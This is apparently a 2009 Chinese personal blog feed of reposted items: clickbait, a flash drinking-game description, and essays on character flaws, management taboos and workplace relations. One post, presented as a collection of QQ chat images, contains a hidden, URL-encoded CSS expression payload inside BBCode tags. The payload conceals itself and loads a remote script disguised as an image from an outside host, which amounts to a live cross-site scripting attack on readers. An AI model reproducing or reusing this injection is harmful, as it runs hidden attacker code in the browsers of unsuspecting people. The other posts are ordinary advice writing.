向往天空的鹰

[转]性/妖精艳照后开黑店养家糊口…

853496613@qq.com(向往天空的鹰) — Tue, 10 Nov 2009 02:55:27 GMT

一个馒头居然卖100元一个，遭遇史上黑店！后来才知道是性/妖精开的店！

　　
性/妖精艳照后开黑店养家糊口…

　　

[转]性/妖精艳照后开黑店养家糊口…

853496613@qq.com(向往天空的鹰) — Tue, 10 Nov 2009 02:55:22 GMT

一个馒头居然卖100元一个，遭遇史上黑店！后来才知道是性/妖精开的店！

　　
性/妖精艳照后开黑店养家糊口…

　　

[转]游戏把美女灌醉

853496613@qq.com(向往天空的鹰) — Tue, 10 Nov 2009 02:44:03 GMT

用鼠标按住打酒键往下拉，有越来越大三种大小的流量，松开后，酒会有一个惯性才停，给美女打酒，就要到两条红线之间，不能多也不能少，刚刚好时美女会喝下去的！如果美女喝了，酒的流速就会加快，有时间限制，要快呀！而且要等到美女作出判断后再进行下一次，不然美女生气后就打不出酒了！

[转]收集的QQ聊天使用图片

853496613@qq.com(向往天空的鹰) — Tue, 10 Nov 2009 02:19:53 GMT

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

[转]收集的QQ聊天使用图片

853496613@qq.com(向往天空的鹰) — Tue, 10 Nov 2009 02:19:14 GMT

妨碍人生成功的8大性格“短板

853496613@qq.com(向往天空的鹰) — Thu, 24 Sep 2009 02:14:04 GMT

妨碍人生成功的8大性格“短板短板理论，也叫水桶理论，是管理学中的经典理论之一。也就是水桶能装多少水，决定于最短的那块木板的长度。这在管理学中，启示我们要增加“短板”的长度，以提高水桶的容量。人生苦短，长不过几十年，能活上百岁的人少之又少。事实上，人的一生中用于发展自我事业的时间，也就二三十年。有人说，要成功，首先，付出汗水是主要的，再次是遇到良好的机会，再次就是个人智能的发挥。但是许多时候，我们总结他人的成功或失败，不难发现，人的性格在这里面所发挥的关键性作用。
我们说，战事成败取决于“天时、地利、人和”等三大因素，事实上，事业成功也是要靠这三大因素的。虽然这“天时”和“地利”，好像在说外部的影响因素，但事实上，三大因素作用于人的发展中，是必须靠人来协调利用的。也就是说，对于不同的人，这“天时”、“地利”所提供的大环境和优势，不一定得到合理的利用和发挥。当然，这“人和”在事业的发展中，就主要靠组织和管理方式的有效性了，但最终决定于决策的落实是否有利于促进人际关系的良性，以及团队或个人的人际关系的可持续良性。因而，这些因素都会是围绕决策和管理来发挥效能的。而决策和管理的科学以及良性，都是取决于人的，特别是领导者的性格，在成功中往往是起中枢作用的。它是决定着这些成功因素是否能够有效统筹和发挥良性的关键。
事实上，人的理念和行为动向，都是爱性格影响的，也直接影响着决策和行为落实，作为一个领导者，就直接决定着团体的效能，以及团体组织性能的良性发挥。性格在一个人的成功中起着不可忽视的作用，有时，还就像水桶的短板一样。短得太多，让一个人距离成功的路就更遥远。这种性格，让一个人的智能发挥的效率大打折扣，如此性格“短板”大致有这样一些：
一是严重缺乏真诚。缺乏真诚的人，往往与人相处，过于精明，或是过于浮浅，让人觉得不可合作。这种人很难交到实心实意的朋友。很难真正地团结一班人，共同协作。在困难时，就没有多少人愿与之同甘苦共患难。遇到挫折，并不能趋利避害，促进情势向好的一面转换。一旦处于败势，就可能一败涂地。“一个乞丐三个帮，一个篱笆三个杆”。一个缺乏真诚的人，架起的“篱笆”也是经不住风雨的。极有可能算计他的就是身边走得最近的人。
二是好色到刮骨。好色，看似是很私人化的问题，但过于好色的男人，往往就把私人化的事和事业弄得杂混不清。这种人是不足以让人相信的，特别是作为一个领导者，过于好色，往往就涉及到一些资源分配的不公，容易导致内部的不团结。同时，还会影响公众形象，起到反面的示范。特别是好色的人，易在情感上引起波澜，因情感危机而导致事业跌落低谷。
三是好面子到不讲实际。太好面子的人，往往听不进别人的意见和合理化的建议。这样，在办事时往往面子在先，并不考虑事情本身的成本，如果这种人也好色的话，只要有美女在场，一定打肿脸充胖子。这种人干事，就不可能提高效率效能，很多时候，还会出现低级错误。因为太好面子，还有一个最大的不好，那就是容易让实干者失去信心。特别是太好面子，就等于堵塞了言路，可能由于信息不实，做出错误的判断，造成重大的失误。
四是缺乏耐性而善变。不仅是生活要有耐性，发展事业更需要耐性。特别是事情陷入过度期，或许没有实质性的进展或效益时，就更需要耐心做垫底了。做一件事，进入角色可能是慢热性的，发展的过程可能是曲折的。没有耐性，就很难积少成多，聚沙成塔，促成事物从量变到质变的转换。事实上，想创业或是开始创业的人很多，但真正能够一路走下来，最后走向成功的人少之又少。成功的人，大多是不怕折腾，转变到善于折腾的那些人，而不是浅尝辄止、浮光掠影的人。
　　五是太过意气用事。意气用事的人，就不可能把现代的管理理念和科学合理的方法，真正贯彻落实到实践中去。或许，这种人是坐而论道的专家，以及言论观点的雄辩者，但在实际工作中执行起来，并不是按既定方案办，而是情绪一来，就随便改变具体问题的处理办法，甚至完全背离了先前的方案，也不管不顾。这样的人是没办法发挥集体领导功能的，也无法管理好团队。南辕北辙，就是对这种人做事的习惯最好的形容。
六是凡事太爱忽悠。太相信忽悠的人，可能与人交道之初，会给人留下好印象，并让人对之寄予某种功利化的希望，被“画饼”所诱惑。但交道多了，就觉得这人不诚实，不讲信用。特别是那种忽悠不分对象的人，只能让人相信一时，但最后可能被忽悠的是自己。太相信忽悠的人，人际交往是不具备可持续性的。可能交道一个人，就失去一个人。这种人最大的一个毛病就是靠忽悠发展起来的所谓事业，往往也像海市蜃楼，看起来可能也很壮观，但因基础不稳不实，破灭也就在瞬息之间。
七是犹豫不决、畏首畏尾。具有这种性格的人是难于开创事业的，往往因为太缺乏主张和独立性，处于议而不决，议而难决的境况。虽然，可能装出一幅听取他人意见的开明姿态，但事实上，但却因缺乏判断，顾虑太多，弄不清孰优孰劣，孰好孰坏，而并不能将好的建议化为决策，落实到执行上。所以，实在是智力浪费的典型，贻误战机又贻笑大方。
八是性情自负而不自省。自负的人可能也很聪明，但有时聪明过了头，他们在处理事物时，不是抓不住重点、分不清主次，或是以卖弄点小聪明而得意。聪明反被聪明误，往往在他人面前表现得太聪明太自负的人，就无形中很难发挥身边团体的创新潜能。毕竟个人的能力是有限的，特别人有自负的个性，也就说明这人缺少吸收、包容的气度，以及发挥团体积极性的能力，失败了也不善于吸引经验和教训，这种人极有可能重复相同的错误。

管理十一大忌

853496613@qq.com(向往天空的鹰) — Mon, 31 Aug 2009 02:48:09 GMT

近日，有一个朋友诉苦说：自从那批一起创业的兄弟出走后，新进来的中高层管理人员基本上是三年左右全换一次，现在又有很多管理人员要走了，他心理很苦闷，问怎么办？事实上对这类事情，大家也听得多见得多了，但很鲜见到能彻底解决的。

其实，这类事情的主因多是很多人不会做官（管理）所致，因为这类事多发生在新官身上，如何做一个好管理者本身也是一门学问…….做管理者最少有十一大忌，待我一一说来：

第一忌、不辨是非，忠奸不分很多时候，管理者听到或收集到很多信息，有真的有假的，有对自己有利的也有不利的，如果面对这些信息而无法正确分辨。那么，我建议他们最好能进修一下以提高自己的水平，或者听听智囊的意见，当然也可以无为而治，顺其自然，否则下属造反、同级的倾轧、上司的处罚很快就会成为事实了。

第二忌、剥夺下属既得利益除非是不当利益，所有下属既得利益都是他们用血汗、用自己的成绩和能力换回来的，如果用权宜之计全部或部份剥夺去了，那么，你就要小心他们造你的反，当然如果迫于某些压力让他们暂时只能忍气吞声，那么恭喜你，关键时刻你一起死得难看。

第三忌、不负责任，诿过于人这可是很多人都会犯的错误，这种错误多是寄托于自己上司的不公正或者昏庸，或者其他人的愚蠢上，大量数据表明这种事多发生在东方人种的管理者身上，笔者作为东方人也觉得很羞耻。因为上司可能暂时可能是不公正或者昏庸，但其它人基本不愚蠢，而且诿过于人对提升自已能力的作用是负面的。

第四忌、选错对手，进退失据不管采用何种的组织结构，管理者的竞争对手都是自己的同一层级。工作中所有资源都是上司给的，所有成绩是下属做的。与自己的上司和下属较劲绝对是最愚蠢的表现，最终引来上司的打压、下属的不信任和抵制、同级的讥笑。

第五忌、与下属争功与下属争功是很多人会犯的，特别是剥夺下属的功劳，殊不知与下属争功是最愚蠢的。因为依据管理常识，不管如何，下属的功劳和错误，不管你争与不争，都是你的。所以很多时候出了问题后，聪明会做的领导都是争负责任，能力超品的更会推荐那些出众的下属来增加自已晋升的筹码。理由很简单：出了问题基本上都是你眼光不行，用人不当或你没给下属足够的支持或资源，也可能是你决策错误------这件事此时无论谁也办不成或根本不该办。但争负责任很容易获得下属真心拥戴和上司的尝识，也容易为同级所信服。同样推荐人才就是向人们展示你独到的眼光和坦荡宽广的胸怀。而且大量数据表明，如果一个上司用你的下属代替你而不给你晋级，绝对是你能力有所欠缺并早已进入淘汰名单内，而不是你的下属淘汰你的，除非你的上司本身是一个庸才。与上司争功一定会给上司打压，敢以身试法者很少。

第六忌、指鹿为马，飞扬跋扈这类人本身就是有道德和能力问题，好比秦皇朝的秦二世和赵高，不说也罢。

第七忌、做事不公，不讲信用人都多少有些私心，习惯上很多人也有护短的毛病。作为普通员工可能别人不会说什么，但作为管理者这个在台上任人评说的对象，这个私心无论如何都要尽可能压制着。要明白“上有所好，下必甚然”。做事不公等于将自己定下的游戏规划打破，将自己花很长时间辛辛苦苦建立起的形象、威权一瞬间打破。笔者曾多次见证了因为某些管理人员“做事不公，不讲信用”而导致众判亲离的极端管理事件。作为管理者或领导要时时刻刻记住：有很多眼睛从各个方向订着你，你是别人的表率和标杆。

第八忌、拖而不决，优柔寡断一般来说，日常决策应在5-30分钟内给下属一个明确的答复，中等的决策在半天，重大的决策也要在三天，特别重要的决策，比如需要请示或协调多个部门的，也要在一周内解决，否则基本上都是属于专业能力不足，管理能力欠缺者，至少应降级使用。

第九忌、好大喜功，不顾事实好大喜功其实是很多人都犯的毛病，主要是某些方面过度而已，考核和激励机制基本上都是建立在绝大多数人“好大喜功”的潜在需求上。因为人类是理智的，很多时候绝大多数都是有一个合理的“度”，超过这个合理的“度”后，就是一个严重的管理缺憾。再加上不顾事实这个毛病，对管理者来说就是一个很严重的问题。

第十忌、不学无术，故作高深因为方方面面的原因，很多管理人员不希望在下属面前“露短”，以维护其权威性和神秘感，企图以此来保证自己的管治。殊不知此举于已于公司都极为不利：如果下属愚笨（或装愚笨），则表现出来就是无所适从或无法达成工作目标；如果下属并非愚笨，那就埋下日后诸多问题的种子。同时也为领导、同级所不齿。

第十一忌、断绝下属的希望不管是谁，包括管理者自己，所有工作或生存的动力是可以逐步实现的大大少少希望，用句行话就是“愿景”。如果有一天你的上司或明或暗的暗示，或者让你感觉到你在那个环境里无法实现你的“愿景”，那你的选择就和你让下属感到无望时的选择一样毫无二致。现实中那些小贩能够每次为只能赚一分几角的生意劳碌奔波，原因就是因为每次收益是可预期、可见、很快见效和很现实的。绝大多数人不会为一些画出来的大饼长期着迷。聪明的管理者总是让下属每天都很愉快的工作。

事实上管理者需要注意的东西很多，凡事能换位思考并且能想多几步，那些不妥的东西就不会成为自己的阻力了。

管理，从用心开始

853496613@qq.com(向往天空的鹰) — Mon, 31 Aug 2009 02:24:39 GMT

管理，从用心开始
一、管理，要理论指导实际
对于企业管理，我们都深知其重要性。无论是外部的经营管理，还是内部的管理等，都直接与参与其中的各个员工息息相关。而企业管理是否有效，也直接关乎公司发展的问题。鉴于此，不断与同行沟通交流和有效借鉴就显得特别重要。
在以往的企业管理工作当中，作为河南医保药业有限公司的一名管理者，我总是在通过制度化、合适合理的绩效等手段来进行综合管理。对于做的好的员工，总是通过晋级、发放奖金、当众予以表扬等各种手段予以表彰。当时，也逐渐意识到，这些手段只是暂时性的，员工在新鲜和激动三五天或者三五个月之后，逐渐就失去了其意义。于是联想到“马斯洛需求理论”的核心诉求，人的最高层次的需求是“自我价值实现的需求”。因而，就在公司内部对相关员工进行详细研究，将合适的人放到合适的岗位上，发挥其个人的最大能量和价值，很好的体现了最相关人员的价值实现，提升了工作的效率。
当然，这些东西可能是我出于对公司管理和发展现状的一种应对措施。当详细学习了《现代组织行为学》以后，也找到了强大的理论依据。从研究人、研究公司组织的发展着手，不断满足组织内部核心人员和其他人员的各种不同需求入手，最大限度的发挥组织内部相关人员的价值，才是最大限度的提升公司核心竞争力的关键。
二、整体协调组织运作体系的必要性
关于企业的组织行为，是一个多部门、多人员的分工合作的集体行为。不同部门、不同员工都是企业运作体系中的一个重要环节，缺一不可。
就如同案例中美国亚力桑大州的那家企业一样，看似相当详细严格现代化的管理制度，可以有效兼顾每个部门、每个人，但是却发挥不出成效。核心问题就是没有弄清楚企业经营行为的整体性，人为的将本处在一个链条上的环节隔离开来。明白这个问题后，企业果断的实施了360度的全方位绩效管理措施，企业的经营很快得到改善。因为抓住了问题的核心，所以得到迅速扭转，这一点对我启发很大。
回过头来看我们河南医保药业的日常管理：临床事业部、绿丹事业部、OTC事业部、采购部、营销部、财务部、GSP部、仓储部、办公室等大大小小近10个部门，40多名员工，在公司制定了一整套管理考核制度下工作，依然是感觉成效不大。特别是销售部门和综合部门之间的矛盾，若隐若现无法有效调和。销售部觉得自己是公司经营业绩的来源，指责综合人员这不好那不好的；而综合人员则反应，自己辛辛苦苦做了那么多工作，待遇就那么一点点，还要受到销售部的指责，也是意见很大。出现这样的情况难道是制度不健全吗？翻开自 2007年至今不断完善的各项管理制度，几乎能想到的全部以文件的形式下达到各个部门，还组织了学习。看来问题还是出在整体上，没有将相关部门和人员纳入一条主线上。鉴于此，在今后的管理工作当中，要逐渐扭转这样的局面，让公司所有员工都参与到公司的经营上来，逐渐意识到销售并不只是销售部门的工作，也需要综合部门积极出谋划策。公司经营业绩好了，综合人员的待遇也可以随波逐流得到一定的提升，算是对工作的肯定。也可以通过不定时的举行一些内部的活动，逐渐拉近公司所有员工的距离，提升整个公司员工的整体性和全局观将是下一步工作的一个重要方面！
三、双向沟通的重要性
沟通，一直以来都是企业组织实现统一目标的一个重要手段。只是在日常管理中，我们往往误解了其内在意义，通过简单的工作安排、布置、发号施令来实现。安排一项工作，只是简单说明想达到什么效果、什么时间完成等内容，并没有就该工作进行详细的沟通。这样的结果，往往是最终的工作结果出来后，并不是我们想要得到的。是员工太差劲没有能力完成任务吗？我想不是的，更多的是因为在这个问题上，我们作为管理者没有很好的就这个问题与执行员工进行深入有效的沟通。没有认真听取员工就这样问题的看法和疑惑，才导致了结果的偏差。
所以，在我们日常的管理工作当中，就要逐渐改变这样的行为。从企业经营重大活动的探讨，需要中层领导的沟通，到各项具体工作的落实，需要各个部门经理与相关实施人的有效沟通，尽量达成更多的共识，消除不必要的误解。这样，才能将企业内部的各项工作完成的最好。四、员工的选择
这里面所说的两类员工：“精明”的员工和“聪明”的员工，是构筑企业员工体系的两个重要组成部分。先让我们来看一下对这两类员工的描述：
“精明”的员工，以个人利益为重，业务能力一般或较弱，为人缺乏坦诚、习惯逢迎领导，对权力（利）的敏感度较高，尽可能的逃避责任；
“聪明”的员工，以组织利益为重，业务能力、创造性强或较强，为人坦诚，不习惯于逢迎领导，对权力（利）敏感度一般或较低，敢于承担责任；
还是回过头来看公司内部的各个部门、各个员工，这样的人是很明显的两类人。每个人领导人都喜欢赞美和逢迎，需要一些无理由的赞成来缓解压力，因而“精明”的员工不可或缺。但是，企业经营发展的大计，则需要尽量多的“聪明”员工来予以支撑，尽管这些人不会说好听的、太耿直不招人喜欢。就如同乾隆皇帝、和珅、纪晓岚3人之间的故事。乾隆皇帝这个最大的领导者，面对和珅这样的“精明”员工的阿谀奉承乐此不疲，也非常不喜欢纪晓岚这位“聪明”员工的忠言逆耳。但是，乾隆皇帝很清楚，遇到什么棘手难办的事情，出于对国家和人民的利益还是会义无反顾的让纪晓岚办理，虽然和珅会这样那样的捣乱！心里这杆秤不能乱，非则是天下大乱！
不难看出，只要企业组织存在一天，两者员工就必然会存在，两方面的斗法就不会停下了。作为企业的领导者，我们要做的就是要尽量避免将“精明”员工放到重要岗位上“误国误民”，而是尽可能的提拔重要“聪明”的员工，让他们为企业发展贡献力量。我们管理者心中的这杆秤也同样不能没有原则，不能乱，否则是公司大乱啊！所以，“精明”的员工和“聪明”的员工不是个人形成的，是组织习惯和环境造就出来的，也就是领导者的个人喜好和习惯造就出来。这一点很关键，务必审视、慎重！
五、领导力提升
最后说一下领导力方面的问题。领导力看不见摸不着，是领导者综合能力的体现。一个企业有没有一个甚至几个有强大领导力的中高层，是企业能否具备强大发展前景的关键。从《组织行为学》给我们列举的两类完美领导者的表现，让我们对领导人特质有了一个更新、更全面的认识。
泼辣果断VS深思熟虑
豁达大度VS富有心计
和蔼可亲VS个性鲜明
高瞻远瞩VS严谨务实
威风凛凛VS谦虚谨慎
无论是左边的看似容易让员工接受、得到拥戴的亲民性领导，还是右边看似优柔寡断、缺乏远见不让人喜欢的领导，其实各自都有自身的优势。左边的领导易做出错误的决策，对组织的长远发展不利；而右边看似很难得到人们拥护、推崇和尊敬的人，但是却易做出正确的决策，对组织的长远发展有利。
虽然上面说的两类领导者都是比较完美的人，全部做到很难。但是我们可以套在我们的身上，好好斟酌一下我们在公司的组织管理体系中处于一个什么样状态。这也是我们不断提升自身领导力修为的一个重要参考。

上级与下级的职场潜规则

853496613@qq.com(向往天空的鹰) — Tue, 18 Aug 2009 00:29:16 GMT

上级与下级的职场潜规则
上级与下级之间的关系影响着整个领导体系领导绩效高低。
领导者与被领导者，即上级与下级之间矛盾解决的成功与否，影响着整个领导目标的实现，影响着整个领导体系领导绩效高低。所以，艺术地处理上级与下级的关系在整个领导体系中十分重要。

　　下级要想与上级相处好，要记住以下潜规则：

　　一、要尊重，要慎重，但不能一味附和。抬轿子、吹喇叭等等，只能有损失自己的人格，却得不到重视与尊敬，倒很可能引起上级的反感和轻视。

　　二、采取不卑不亢的态度。在必要的场合，你也不必害怕表示自己的不同观点，只要你从工作出发，摆事实，讲道理，领导一般是予以考虑的。

　　三、应该了解上级的个性。不要认为这是迎合，这正是运用心理学的一种学问。

　　四、与上级谈话还要选择有利时机。你应该根据自己的问题重要与否，去选择适当时机反映。

　　上级与下级相处，也要注意的一些潜规则：

　　首先是“知”。孔子曰：“知人者智，自知者明。”作为上级，更应该如此。不了解下级的基本情况，无以用其所长，无以岗尽其责。了解下级的生活需要、心理需要、发展需要。

　　其次是“礼”。礼，就是礼遇下属。要尊重下属。古人云：“敬人者，人恒敬之。”要得到下级的拥护和支持，就必须尊重自己的下级。

　　再次是“宽”。宽，宽容。这里的宽容是相对的概念，不是无原则的忍让。要网开一面。当下级有错误时，只要不是原则性的，就应得理让人，网开一面，给下级以改正的机会和空间。这样做，既体现了领导的仁厚，更展现了领导的睿智，不失领导的尊严，而又保全了下级的面子。以后，上下相处也不会尴尬，下级更会为上级倾犬马之劳。（1+1人才网）

　　只有以上几点都做到了，上下级的关系就会得到很好的缓和。双方沟通也会很顺利。

有一种怕,源自我们内心对职业的敬畏

853496613@qq.com(向往天空的鹰) — Mon, 19 Jan 2009 02:51:01 GMT

有一种怕,源自我们内心对职业的敬畏
有一种怕,源自我们内心对职业的敬畏怕这个字眼不太好，看到它就使人想到胆怯,软弱这二个词.胆小怕事肯定是贬义的,无所畏惧,肯定是褒义的.但这种怕与职业敬畏联系不上.
记得去年看的一部韩国电视剧<<大长今>>,对其中的一个情节,记得很清晰:当长今考医女的时候,老师没有给她及格,原因是她太过自信,敢于为任何人做疾病诊治。当时，长今觉得很委屈，我也觉得很困惑。但当老师把真实的原因告诉长今的时候，我也震惊了。老师说：“一个医生必须要怀有恐惧之心，要对生命有恐惧感，这样他才不会被自己的医术蒙蔽。而长今你太自信，没有对生命的恐惧之心。所以你不具备做医生的资格。”说得多好，医生只有对生命怀有恐惧感，才会对医术精益求精，才会在为患者诊治的过程中做到一丝不苟，才不会出现误诊，用错药，手术完了纱布留在病人体内的笑话。
医生对生命怀有恐惧之心，是源于对职业的敬畏。有了这种职业的敬畏思想，才能有对待工作的积极认真态度。如果，一个医生手里拿着手术刀，没有这种对生命的恐惧之心，那一刀下去，我们不难想象对患者造成的伤害会有多严重？此类新闻我们看到的还少吗？由此使我们联想到其它职业。
如果一个营业员没有对算错财.拿错货品，有恐惧之心，就会经常出现多收或少收顾客钱的事;就会出现把陈酒当醋卖给顾客的事。
如果一个保安，没有对雇主的财物被盗和管理秩序有恐惧之心，就会出现上班睡大觉，雇主财物经常被盗之事，就会出现雇主经营场所秩序混乱之事。
如果一个仓库保管员，对自己所保管的物品安全，没有恐惧之心，就会出现物品过期报废无人知道之事。
如果一个企业家，对自己的事业兴衰没有恐惧之心，那这个企业也就不会长久。如果当初生产阜阳农村市场的"无营养"劣质婴儿奶粉的企业家，怀着对事业，对生命的恐惧之心，那么12个夭折的生命就不会夭折。
大家还记得刚刚过去的2008年春节前，发生在湖南郴州的那场特大冰雪自然灾害吧？如果没有对执政地位的恐惧之心，我们伟大的胡主席和温总理，用得着在大过年的时候，以60多岁的年纪冒着冰雪不畏山路的崎岖，深入抗冰雪的第一线吗？所以说我们中央的核心领导是很敬业的，是伟大的。问题出就出在下面，有一句话"中央的政策出不了中南海"就是这么来的。如果我们国家的每一个省、每一个市的省长、市长们都怀有对职业的敬畏;都怀有对执政地位的恐惧之心，我们伟大的胡主席和温总理用得着这么辛苦吗？
如果一个法官~~~如果一个人民警察~~~如果~~~
太多的如果留着各位自己去联想吧。上面所讲的这许多恐惧和怕，与犯错误怕受处罚不同。这种怕是自发的发自内心的一种对职业敬畏。只有具备了这种职业敬畏，才会更敬业，才会由平凡变成卓越。